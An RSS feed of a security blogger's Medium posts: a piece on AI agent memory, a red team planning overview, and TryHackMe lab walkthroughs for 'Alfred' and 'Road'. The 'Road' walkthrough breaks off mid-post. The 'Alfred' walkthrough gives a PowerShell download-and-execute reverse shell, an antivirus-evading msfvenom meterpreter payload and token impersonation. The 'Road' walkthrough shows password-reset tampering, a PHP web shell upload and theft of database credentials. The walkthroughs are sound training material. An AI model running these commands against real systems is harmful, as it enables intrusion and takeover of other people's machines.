<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by CyberSec, Ethical hacking By Fathin on Medium]]></title>
        <description><![CDATA[Stories by CyberSec, Ethical hacking By Fathin on Medium]]></description>
        <link>https://medium.com/@fathindos.fd?source=rss-fd433fc3eae1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*130JS-yWyalTCdXORimy_w.jpeg</url>
            <title>Stories by CyberSec, Ethical hacking By Fathin on Medium</title>
            <link>https://medium.com/@fathindos.fd?source=rss-fd433fc3eae1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 19:02:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@fathindos.fd/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Your AI Agent Doesn’t Remember Anything (Here’s What to Do About It)]]></title>
            <link>https://medium.com/@fathindos.fd/your-ai-agent-doesnt-remember-anything-here-s-what-to-do-about-it-c9a46786b5e2?source=rss-fd433fc3eae1------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9a46786b5e2</guid>
            <category><![CDATA[ai-agents-in-action]]></category>
            <category><![CDATA[ai-context-handling]]></category>
            <category><![CDATA[ai-memory-optimization]]></category>
            <dc:creator><![CDATA[CyberSec, Ethical hacking By Fathin]]></dc:creator>
            <pubDate>Mon, 26 Jan 2026 08:02:05 GMT</pubDate>
            <atom:updated>2026-01-26T08:02:05.431Z</atom:updated>
            <content:encoded><![CDATA[<p>We keep calling things “memory” that aren’t memory.</p><ul><li>Stuffing 128K tokens into context? Not memory.</li><li>RAG retrieving chunks? Not memory.</li><li>Conversation history in a system prompt? Definitely not memory.</li></ul><p>Jack Morris dropped this at AI Engineer and it’s been rattling around my head since:</p><blockquote>“Embeddings are the file system of today. They’re not the file system of the future.”</blockquote><p>Here’s the thing: ChatGPT knows the capital of the smallest province in Tajikistan. It has zero idea about your company’s partnership terms with BlackRock. And no amount of context stuffing fixes this.</p><p><strong>The numbers are brutal:</strong></p><p>Context Length Tokens/Second Output</p><p>1K tokens 10,000</p><p>128K tokens 130</p><p>That’s not a typo. 100x slowdown. And performance degrades even if you’re retrieving the right stuff — Chroma’s research shows models get <em>worse</em> as context grows, even with relevant information present.</p><p><strong>So what actually works?</strong></p><p>Three patterns keep showing up from teams shipping real enterprise agents:</p><p><strong>1. Train knowledge into weights (not context)</strong></p><p>Morris’s core insight: Models have fixed capacity (~3.6 bits per parameter). They’re wasting it on Tajikistan trivia when they could know <em>your</em> domain cold.</p><p>The unlock: Generate synthetic Q&amp;A from your docs, then fine-tune. Small LoRA adapters. Don’t retrain the whole model — you’ll brick it.</p><p>Your docs (small) → Synthetic dataset (large, diverse) → Fine-tune adapter → Model that actually knows your stuff</p><p>Wild part: With RL fine-tuning, you can get meaningful learning from <strong>14 parameters</strong>. One parameter got 5% improvement on math reasoning. The sparse signal means tiny updates work.</p><p><strong>2. Capture workflows, not just answers</strong></p><p>Chau Tran from Glean flipped my thinking here:</p><blockquote>“If agent takes a task and generates a workflow, and the workflow works… you’ve just discovered a new workflow.”</blockquote><p>Most teams debate “workflows vs agents” like it’s either/or. The move is:</p><ul><li>Let agents freestyle on new problems</li><li>Save successful traces as golden workflows</li><li>Train agents on the library</li><li>Known tasks → deterministic execution</li><li>Novel tasks → compose from learned patterns</li></ul><p>This is how you get reliability AND flexibility. The agent doesn’t reinvent the wheel every time, but it can still handle new situations.</p><p><strong>3. Engineer your evals (no shortcuts)</strong></p><p>Ankur Goyal was blunt: “There’s no dataset that’s perfectly aligned with reality.”</p><p>The teams that ship reliable agents aren’t using off-the-shelf scorers or synthetic benchmarks. They’re:</p><ul><li>Adding real user complaints to eval sets (with human judgment on what matters)</li><li>Writing custom scoring functions as product specs</li><li>Running evals on every new model drop (Braintrust ships model updates in 24 hours because evals are ready)</li></ul><p>The eval IS the product spec. If you’re using someone else’s scorer, you’re building someone else’s product.</p><p><strong>Here’s how this fits together:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/0*d3OahiqKklNSpxs5.png" /><figcaption>The architecture isn’t “RAG vs fine-tuning vs agents.” It’s knowing which tool handles which knowledge type:</figcaption></figure><p>The architecture isn’t “RAG vs fine-tuning vs agents.” It’s knowing which tool handles which knowledge type:</p><p>Knowledge Type -&gt; Best Approach -&gt; Why<br>Stable domain facts -&gt; Train into weights -&gt; Fast, cheap, always available</p><p>Frequently changing data -&gt; RAG -&gt; Can update without retraining<br>Repeatable task patterns -&gt; Workflow library -&gt; Deterministic, debuggable<br>Novel situations -&gt; Agent reasoning -&gt; Flexibility when you need it</p><p><strong>The slop problem</strong></p><p>swyx’s talk tied this together in a way I didn’t expect:</p><blockquote>“Autonomy without accountability is just expensive chaos.”</blockquote><p>Every “memory” hack that doesn’t actually teach the model is slop. Every agent that freestyles when it should follow a known workflow is slop. Every eval that uses synthetic data instead of real user feedback is slop.</p><p>The teams winning aren’t the ones with the longest context windows or the fanciest RAG pipelines. They’re the ones who:</p><ul><li>Train real knowledge where it belongs (weights)</li><li>Capture workflows that work (not just answers)</li><li>Build evals from reality (not benchmarks)</li></ul><p>That’s actual memory. Everything else is expensive pretending.</p><p>Real memory isn’t about storing more. It’s about knowing what to store where.</p><p>A human doesn’t memorize every conversation verbatim — they extract patterns, build intuition, forget the noise. The information changes form. It becomes <em>understanding</em>.</p><p>That’s what training into weights does. That’s what workflow libraries do. That’s what good evals enforce.</p><p>Context stuffing keeps information in its original form and hopes the model figures it out. RAG retrieves fragments and hopes they’re enough. These aren’t memory — they’re expensive workarounds for not teaching the model properly.</p><p>The teams’ shipping agents that actually work in production figured this out. They’re not building bigger filing cabinets. They’re building systems that learn.</p><p>Everything else is just pretending to remember.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9a46786b5e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Ultimate Secret To Red Team Engagements]]></title>
            <link>https://medium.com/@fathindos.fd/the-ultimate-secret-to-red-team-engagements-7a2204a8a36c?source=rss-fd433fc3eae1------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a2204a8a36c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[CyberSec, Ethical hacking By Fathin]]></dc:creator>
            <pubDate>Wed, 16 Feb 2022 12:09:34 GMT</pubDate>
            <atom:updated>2022-02-16T12:09:34.835Z</atom:updated>
            <content:encoded><![CDATA[<p>The key to a successful engagement is well-coordinated planning and communication through all parties involved. This blog post would focus on various components of a red team engagement.</p><h3><strong>Defining objectives</strong></h3><p>Engagements can be very tricky and bureaucratic. It is important client objectives or goals are well defined. Client objectives should be discussed between the client and the red team to create a mutual understanding between both parties.</p><p>Without clear and concrete objectives, you are preparing yourself for a very unstructured and unplanned campaign.</p><p>Engagements can be categorized between a general internal and a network penetration test or focused adversary emulation. A focused adversary emulation will define a specific APT or group to emulate within an engagement. This will typically be determined based on groups that target the company’s particular industries, i.e., finance institutions and <a href="https://content.fireeye.com/apt/rpt-apt38">APT38</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*GGNg8Tz0sTfshrlS.png" /></figure><p>An internal or network penetration test will follow a similar structure but will often be less focused and use more standard TTPs (tactics, techniques, and procedures).</p><p>The client objectives only set a basic definition of the client’s goals of the engagement. The specific engagement plans will expand upon the client objectives and determine the specifics of the engagement</p><h3>Defining Scope</h3><p>The next key aspect to a precise and transparent engagement is a well-defined scope. The scope of an engagement will vary depending on the organization and what its infrastructure looks like.</p><p>A client’s scope will usually define what you <strong>cannot do or target</strong>. It can also include what you <strong>can do and target.</strong></p><p>A scope should only be defined and set by the client and not the red team. In some cases, the read team may discuss a grievance of the scope if it affects an engagement. The red team should have a clear understanding of the targets network and the implications of an assessment. The specifics of the scope and the wording of the scope will always look different, below is an example of what verbiage may look like within a client’s scope.</p><ul><li>No exfiltration of data.</li><li>Production servers are off-limits.</li><li>10.0.3.8/18 is out of scope.</li><li>10.0.0.8/20 is in scope.</li><li>System downtime is not permitted under any circumstances.</li><li>Exfiltration of PII is prohibited.</li></ul><p>A very Good Example of a well-defined scope can be found on responsible disclosure programs on bug bounty platforms such as <a href="https://hackerone.com/directory/programs?order_direction=DESC&amp;order_field=resolved_report_count">HackerOne</a> or <a href="https://www.intigriti.com/">Intigriti</a>.</p><p>A good example of well-defined scope: <a href="https://app.intigriti.com/programs/visma/VismaResponsibleDisclosure/detail">https://app.intigriti.com/programs/visma/VismaResponsibleDisclosure/detail</a></p><h3>Rules of Engagement</h3><p>The ROE is a document that is created at the initial stages of a penetration testing engagement. This document consists of three main sections, which are ultimately responsible for deciding how the engagement is carried out. The SANS institute has a great example of this document which you can view online <a href="https://sansorg.egnyte.com/dl/bF4I3yCcnt/?">here</a></p><p>This document often acts as the general contract between the two parties; an external contract or other NDAs (<strong>N</strong>on-<strong>D</strong>isclosure <strong>A</strong>greement) can also be used.</p><p>The format and wording of the RoE are critical since it is a legally binding contract and sets clear expectations. Each ROE structure will be determined by the client and red team and can vary in content length and overall sections.</p><h3>Campaign Planning</h3><p>Campaign planning uses the information acquired and planned from the client objectives and RoE and applies it to various plans and documents to identify how and what the red team will do.</p><p>Each internal red team will have its methodology and documentation for campaign planning.</p><h3>Engagement Documentation</h3><p>Engagement documentation is an extension of campaign planning where ideas and thoughts of campaign planning are officially documented. In this context, the term “document” can be deceiving as some plans do not require proper documentation and can be as simple as an email</p><p>The Engagement documentation Plan should consist of</p><ol><li>Engagement Plan</li><li>Operations plan</li><li>Mission Plan</li><li>Remediation Plan</li></ol><h3>Concept of Operations</h3><p>The Concept of Operation (CONOPS) is a part of the engagement plan that details a high-level overview of the proceedings of an engagement; we can compare this to an executive summary of a penetration test report. The document will serve as a business/client reference and a reference for the red cell to build off of and extend to further campaign plans.</p><p>The CONOPS document should be written from a semi-technical summary perspective, assuming the target audience/reader has zero to minimal technical knowledge. Although the CONOPS should be written at a high level, you should not omit details such as common tooling, target group, etc. As with most red team documents. There is not a set standard of a CONOPS document; below is an outline of critical components that should be included in a CONOPS</p><ul><li>Client Name</li><li>Service Provider</li><li>Timeframe</li><li>General Objectives/Phases</li><li>Other Training Objectives (Exfiltration)</li><li>High-Level Tools/Techniques planned to be used</li><li>Threat group to emulate (if any)</li></ul><p>The key to writing and understanding a CONOPS is to provide just enough information to get a general understanding of all on-goings. The CONOPS should be easy to read and show clear definitions and points that readers can easily digest.</p><h3>Conclusion</h3><p>The message throughout this room has been that each red team will have its internal documents and way of doing things. This is a crucial concept to understand when moving into the real world. This room only acts as a guide to get you used to concepts and ideas and provides a framework to use, not as a definitive step-by-step manual. When planning an engagement, remember that your number 1 goal is to meet the client’s objectives.</p><p>Planning and documenting are often overlooked and are crucial to a successful engagement.</p><p>The Content of this Blog has been taken from TryHackme’s <a href="https://tryhackme.com/room/redteamengagements">Red Team Engagements Room</a>. Please check the room out for more Info!</p><p>Thanks for reading and I hope this serves of value to you awesome reader. ✌</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a2204a8a36c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Alfred —  TryHackMe walkthrough]]></title>
            <link>https://medium.com/@fathindos.fd/alfred-tryhackme-walkthrough-f9d940607b4b?source=rss-fd433fc3eae1------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9d940607b4b</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[jenkins]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[CyberSec, Ethical hacking By Fathin]]></dc:creator>
            <pubDate>Fri, 28 Jan 2022 17:45:52 GMT</pubDate>
            <atom:updated>2022-01-28T17:55:25.408Z</atom:updated>
            <content:encoded><![CDATA[<h3>Alfred — TryHackMe walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/265/1*LCrIBEvO-NKFN5IQWxjZYQ.png" /></figure><p>Room: <a href="https://tryhackme.com/room/alfred">https://tryhackme.com/room/alfred</a></p><p>In this room, we would exploit Jenkins to gain an initial shell, then escalate our privileges by exploiting Windows authentication tokens.</p><p>This room was developed by <a href="https://tryhackme.com/p/tryhackme">tryhackme</a> and I highly recommend the platform for improving one&#39;s skillset in the infosec niche.</p><p>Enough small talk and let&#39;s get hacking…🚀</p><h3>Initial Access</h3><ol><li><strong>How many ports are open? (TCP only)</strong></li></ol><p>Nmap is the go-to tool for port scanning in a pentester’s arsenal.</p><p>Since the TCP protocol is initiated with a Three-way handshake:</p><p>Syn → SynAck → Ack</p><p>The first step in the 3-way handshake is sending Syn TCP packets.</p><p>We can therefore use the -sS flag to send a syn request to the target.</p><p>This technique is often referred to as half-open scanning because you don’t open a full TCP connection. You send a SYN packet as if you are going to open a real connection and then wait for a response. A SYN/ACK indicates the port is listening (open), while an RST (reset) is indicative of a non-listener. If<br> no response is received after several retransmissions, the port is marked as filtered. The port is also marked filtered if an ICMP unreachable error (type 3, code 0, 1, 2, 3, 9, 10, or 13) is received. The port is also considered open if an SYN packet (without the ACK flag) is received in response. This can be due to an extremely rare TCP feature known as a simultaneous open or split handshake connection (see <a href="https://nmap.org/misc/split-handshake.pdf">https://nmap.org/misc/split-handshake.pdf</a>).</p><pre>sudo nmap -sS -Pn 10.10.68.217</pre><p>-Pn Marks the host as ‘up’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xKTBChdO6wbDcwxYvTNcrw.png" /></figure><p>2. <strong>What is the username and password for the login panel(in the format username: password)</strong></p><p><strong>Enumeration Phase</strong></p><p><strong><em>The key to a good pentesting engagement is enumeration…more enumeration..and…much more enumeration…</em></strong></p><p>Navigating to Port 8080 we are prompted with Jenkins login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gzEbaM7QYzxG5n9iwzbUTg.png" /></figure><p>login attempt with admin:admin enable access to the backend. I found the credentials by just googling the default credentials for Jenkins (OSINT =&gt; reconnaissance is key to any pentest). You could, however, brute force the form by using hydra or burp suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DCEOS1YC96w5Fty5WCHNUQ.png" /></figure><p><strong>3. Find a feature of the tool that allows you to execute commands on the underlying system. When you find this feature, you can use this command to get the reverse shell on your machine and then run it: <em>powershell iex (New-Object Net.WebClient).DownloadString(‘http://your-ip:your-port/Invoke-PowerShellTcp.ps1&#39;);Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port</em></strong></p><p>Navigating to <a href="http://10.10.8.210:8080/job/project/configure">http://10.10.8.210:8080/job/project/configure</a>, we can see that we can execute Windows batch commands. We can exploit this to spawn a reverse shell since the field is vulnerable to command injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yzAQN9046gHEPDUIBXURow.png" /></figure><p><strong>Obtaining Reverse Shell</strong></p><p>We would be using <a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1">reverse shell scripts</a> by <a href="https://github.com/samratashok/nishang">Nishang</a> to gain initial access since we know our target is a windows machine.</p><p>The first thing to do is download the reverse shell script to our local machine</p><pre>wget <a href="https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1">ttps://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1</a></pre><p>Then start our own webserver to enable us to transfer the file to our target machine.</p><p>We can start our webserver by using <a href="https://github.com/sc0tfree/updog">updog</a>. updog is a replacement for Python’s SimpleHTTPServer.</p><p>We can now exploit the command injection vulnerability in the vulnerable part of the application to get a reverse shell by the command below</p><pre>powershell iex (New-Object  Net.WebClient).DownloadString(&#39;http://your-ip:your-port/Invoke-PowerShellTcp.ps1&#39;);Invoke-PowerShellTcp  -Reverse -IPAddress your-ip -Port your-port</pre><p>replace <a href="http://your-ip:your-port/Invoke-PowerShellTcp.ps1">http://your-ip:your-port/Invoke-PowerShellTcp.ps1</a> with the address obtained from your updog webserver</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0QvB5MkgFsCJbI6wHmSUxw.png" /></figure><p>The final command should look like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNJOMVgcIBnHmbXuOWbbKA.png" /></figure><pre>powershell iex (New-Object  Net.WebClient).DownloadString(&#39;<a href="http://10.14.15.145:9090/Invoke-PowerShellTcp.ps1&#39;);Invoke-PowerShellTcp">http://10.14.15.145:9090/Invoke-PowerShellTcp.ps1&#39;);Invoke-PowerShellTcp</a>  -Reverse -IPAddress 10.14.15.145 -Port 4444</pre><p>make sure to start a Netcat listener on your machine to spawn the reverse shell.</p><pre>rlwrap nc -lnvp 4444</pre><p>Now Save the job and build</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*InGjWS7vlfwZeYgcF1HSVw.png" /></figure><p>Observe the build history and console buffering…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*uPFliH_H8qxJK8JSIrW9Yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ewS101Yeds34r1tRPQqdRA.png" /></figure><p>And <strong>Bam🤯</strong> we have a reverse shell spawned on the windows machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N6qvXkHZAf5XnoHbI1dyTA.png" /></figure><p><strong>User.txt</strong> located: C:\Users\bruce\desktop\user.txt</p><h3>Switching Shells</h3><p><strong>Generate a payload with msvenom</strong></p><pre>msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.14.15.145 LPORT=4443 -f exe -o revShell.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Zi5vaeHaJfMN7PlocQuRw.png" /></figure><p>This payload generates an encoded x86–64 reverse tcp meterpreter payload. Payloads are usually encoded to ensure that they are transmitted correctly, and also to evade anti-virus products. An anti-virus product may not recognise the payload and won’t flag it as malicious.</p><p>After creating this payload, we need to download it to our target machine, so we can enter the command below onto our spawned up reverse shell</p><pre>powershell iex &quot;(new-object system.net.webclient).downloadfile(&#39;<a href="http://10.14.15.145:9090/revShell.exe&#39;,&#39;revShell.exe&#39;">http://10.14.15.145:9090/revShell.exe&#39;,&#39;revShell.exe&#39;</a>)&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*Aox6HTAyMNdmd4jA5VPE3Q.png" /></figure><p>The shell looks ugly…</p><p>But we have to keep going to change this ugly crap to our sweet meterpreter shell.</p><p>Before we run this revShell.exe , we need to set up a listener. Since revShell.exe is a meterpreter payload. We’d be using the Metasploit handler to listen for a connection</p><h4><strong>Metasploit</strong>: <strong>Setup multi/handler</strong></h4><p><em>NB: switch payload to a windows version because the target machine runs Windows OS</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vkqKHaKuw96PzQcojK1pQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*9TGSrNHnMzCNgtYdmURr1A.png" /></figure><p>After all the options have been set up properly, we run the handler and listen for a connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*AHD9A6UOpGMjYiRYvfhDiw.png" /></figure><p>On our existing Reverse Shell, we run the payload executable revShell.exe and the handler should catch our <strong>juicy</strong> meterpreter shell 🤤.</p><pre>powershell start-process &quot;revShell.exe&quot;</pre><p>And Bam, we caught our scrumptious meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*dhPrcUHrkTkRBZtuuM92qg.png" /></figure><p>and by entering shell , we have access to windows shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*ypkaDKSGaMprq32jlDkRBQ.png" /></figure><h3>Privilege Escalation</h3><p><strong>View all the privileges using whoami /priv</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*HZKA4KzSasfAiZLLGEeKeg.png" /></figure><p>You can see that two privileges(<strong>SeDebugPrivilege, SeImpersonatePrivilege</strong>) are enabled.</p><p>Let’s use the incognito module that will allow us to exploit this vulnerability. Enter: <em>load incognito </em>to load the incognito module in Metasploit. Please note, you may need to use the <em>use incognito </em>command if the previous command doesn’t work. Also, ensure that your Metasploit is up to date.</p><p>Crtrl +C out of the windows shell and type command below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/1*CR_MN8zavaE1uYeT33-UZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*7hFIKjB-RH9NsNTazbl_Vg.png" /></figure><p>To check which tokens are available, enter the <em>list_tokens -g</em>. We can see that the <em>BUILTIN\Administrators</em> token is available. Use the <em>impersonate_token “BUILTIN\Administrators”</em> command to impersonate the Administrators token. What is the output when you run the <em>getuid</em> command?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*IZahLA4AFs5LXR03FMdmNg.png" /></figure><p>Even though you have a higher privileged token you may not actually have the permissions of a privileged user (this is due to the way Windows handles permissions — it uses the Primary Token of the process and not the impersonated token to determine what the process can or cannot do). Ensure that you migrate to a process with correct permissions (above questions answer). The safest process to pick is the services.exe process. First, use the ps<em> </em>command to view processes and find the PID of the services.exe process. Migrate to this process using the command migrate PID-OF-PROCESS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*TNL1wZvJdLflNjSTXO8YQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*WH83rqJM9-dvDnZQX80GcQ.png" /></figure><p>read the root.txt file at C:\Windows\System32\config</p><p>And Bam, Root.txt is ours 🚩🚀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*MwKu8rWqa-RuwaJqbwksyQ.png" /></figure><h3><strong>The End</strong></h3><p>Please leave a 💬 and 👏 if you found this content useful, thanks for reading and see you soon!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9d940607b4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Road — TryHackMe]]></title>
            <link>https://medium.com/@fathindos.fd/road-tryhackme-93187b584ec9?source=rss-fd433fc3eae1------2</link>
            <guid isPermaLink="false">https://medium.com/p/93187b584ec9</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[CyberSec, Ethical hacking By Fathin]]></dc:creator>
            <pubDate>Tue, 30 Nov 2021 07:44:53 GMT</pubDate>
            <atom:updated>2021-12-11T11:18:47.655Z</atom:updated>
            <content:encoded><![CDATA[<h3>Road — TryHackMe</h3><p>Here we go again…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/0*jK7-yMHmITmE_Zeb.png" /></figure><p>In this writeup, we’ll pentest a great machine, Road by <a href="https://tryhackme.com/p/StillNoob">StillNoob</a> on TryHackMe.</p><p>Room: <a href="https://tryhackme.com/room/road">https://tryhackme.com/room/road</a></p><p>We start by performing some active reconnaissance by running Nmap to scan for open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*Lw1KbZO-G18IKmHrdSugMQ.png" /></figure><p>From the scan, We obtain that it is running an apache server on port 80.</p><p>By Further poking around on the web application. We find that we can register a new user and sign in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Df6cdtG78iPvi8BGY40y9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-IFuotSkmVRexWVISEDcQ.png" /></figure><p>Once logged in as the user, we find that a user has a profile page and can upload a profile image.</p><p>However, only the admin has the access to that feature. That being said, we retrieve the admin email as <strong>admin@sky.thm </strong>which<strong> </strong>is written in cleartext on the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*9oFxXefQEdmoulQEA0kB5w.png" /></figure><p>The next thing we could try is to get access to the website as <strong>admin@sky.thm. </strong>Observe the <strong>reset user page</strong>. The <strong>Username </strong>field is greyed out and only the password fields are editable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EoCtOhAJ2ExeI2HBsCOd3g.png" /></figure><p>We fire up Burp suite to capture the request by turning the intercept mode on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*XwT_YMPVucBbprSzbQ27uQ.png" /></figure><p>then we send the request to the repeater. Now we can change the username from<strong> test@test.com</strong> to <strong>admin@sky.thm</strong> and forward the request. As seen from the response below, the password for <strong>admin@sky.thm </strong>has been changed successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fR-b0Vq8PLIrs7ds5d46RQ.png" /></figure><p>Now we sign in as <strong>admin@sky.thm </strong>and we can successfully upload a profile image. Inspecting the source code of the profile page. We find a Url pathname has been commented out and it seems to be a reasonable location of where the uploaded profile images are stored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*MHcqBD73emJJ968soIyv9A.png" /></figure><p>navigating to the new Url path obtained, we could see our uploaded image and thus proving that our assumption is indeed valid. The uploaded files can be accessed by navigating to this Urlpath below:</p><pre><a href="http://10.10.113.161/v2/profileimages/">http://10.10.113.161/v2/profileimages/</a>{fileNameUplaoded}</pre><p>There are no filetype filter mechanisms to prevent the uploading of unwanted files that could be malicious. We can use this vulnerability to achieve remote code execution by uploading a reverse shell.</p><p>An easy way to obtain a PHP reverse shell is to download it from here <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php</a></p><p>NB: Make sure to change the IP address and port in the default script to your own IP and port of choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*lQvf2SI6qCGyjVbYKcVByw.png" /></figure><p>set up a Netcat listener and stabilise it with rlwrap to obtain a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*JHXi91u9ds4lKSZArd-mug.png" /></figure><p>Then upload the <strong>php-reverse-shell.php </strong>in the profile page and try to access it in the URL by navigating to the uploaded <a href="http://10.10.44.19/v2/profileimages/php-reverse-shell.php">php-reverse-shell.php</a> file</p><p><a href="http://10.10.44.19/v2/profileimages/php-reverse-shell.php">http://10.10.44.19/v2/profileimages/php-reverse-shell.php</a></p><p>and bam! We have a shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*K5hksFIWgWeOMwOVuMjjng.png" /></figure><p>We can further stabilise it by running the following command</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>now we search for the location of the <strong>user.txt </strong>file by using the following command and we are able to obtain the file location.</p><pre>find / -name &quot;user.txt&quot; 2&gt;dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*lhQyk4Bw9mGNSQekryem6Q.png" /></figure><p>Reading the content of the file, we obtain the flag</p><h3>Privilege Escalation level 1</h3><p>In order to read the contents of <strong>root.txt</strong> which the root user has only access to, we need to escalate our privilege as the root user.</p><p>Enumerating the machine more, we find out there are MongoDB and MySQL users in the <strong>/etc/passwd</strong> file. Which indicates that MongoDB might be running.</p><p>You can find the users yourself by running</p><pre>getent passwd</pre><p>And then, we can use ss to get the list of all listening ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*mAZf06zWTVybx89gCw8fWQ.png" /></figure><p>You can investigate the following ports above to figure out what services could be running on them</p><p>port <strong>33060</strong>: default port for MYSQL (more info can be found <a href="https://dev.mysql.com/doc/mysql-port-reference/en/mysql-ports-reference-tables.html">here</a> about MySQL default ports)</p><p>port <strong>27017: </strong>default port for MongoDB (more info can be found <a href="https://docs.mongodb.com/manual/reference/default-mongodb-port/">here</a> about MongoDB default ports)</p><p>From the investigation, we conclude that MongoDB is indeed running. And we can now spin up MongoDB by running mongo on the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*0_MmEXAi6adwtiixex3cWw.png" /></figure><p>Enter show dbs to list the available databases. The backup database looks the most interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/174/1*TZenDgChg7jYf8ujBCDRmA.png" /></figure><p>Enter use backup to access the backup database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/194/1*tzbcLYYsgptntOmLb_IFJA.png" /></figure><p>Enter show collections;to list the tables on the database. We find a table <strong>user </strong>which could be interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/185/1*fV2Xfw64sCGz89mNrvWgGw.png" /></figure><p>Enter db.user.find(); to read the contents of the table. Bam! we obtain passwords for the user <strong>webdeveloper</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*bdgM9po_R3LwU_igJfvVqw.jpeg" /></figure><h3>Privilege Escalation level 2</h3><p>Now, we switch to the <strong>webdeveloper</strong> user with the newly obtained password. you can either use <strong>ssh</strong> or just switch with <strong>su</strong> command on the terminal.</p><p>Enumerating this user, we use 